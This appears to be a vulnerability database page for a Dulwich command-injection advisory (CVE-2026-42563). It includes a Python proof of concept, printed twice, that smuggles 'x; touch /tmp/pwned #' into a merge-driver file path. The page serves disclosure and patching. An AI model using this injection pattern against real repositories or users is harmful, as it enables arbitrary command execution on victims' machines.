GHSA-9277-MP7X-85JF
Vulnerability from github – Published: 2026-05-28 22:29 – Updated: 2026-06-11 14:05
VLAI
Summary
Dulwich Vulnerable to Command Injection via Merge Driver Path
Details
Summary
Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.
Description
- Type: Command Injection
- Source:
merge.pyline 195 — path from merge tree (from repository content when merging untrusted branch) - Sink:
merge_drivers.pylines 124–127 —subprocess.run(cmd, shell=True)wherecmdincludes path via%Pplaceholder - Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the
%Pplaceholder.
Resources
- Repository: https://github.com/dulwich/dulwich
- Vulnerable file:
dulwich/merge_drivers.py(lines 119–129)
Proof of Concept
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob
# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")
patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)
base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")
# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"
merge_blobs(base, ours, theirs, path=malicious_path,
gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned
Fix
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dulwich"
},
"ranges": [
{
"events": [
{
"introduced": "0.24.0"
},
{
"fixed": "1.2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42563"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T22:29:22Z",
"nvd_published_at": "2026-06-10T23:16:46Z",
"severity": "HIGH"
},
"details": "## Summary\n\nDulwich\u0027s `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 \u2014 path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124\u2013127 \u2014 `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119\u2013129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P \u003e %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n gitattributes=gitattributes, config=config)\n# =\u003e Executes: echo x; touch /tmp/pwned #\n# =\u003e Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)",
"id": "GHSA-9277-mp7x-85jf",
"modified": "2026-06-11T14:05:16Z",
"published": "2026-05-28T22:29:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42563"
},
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b"
},
{
"type": "PACKAGE",
"url": "https://github.com/jelmer/dulwich"
},
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dulwich Vulnerable to Command Injection via Merge Driver Path"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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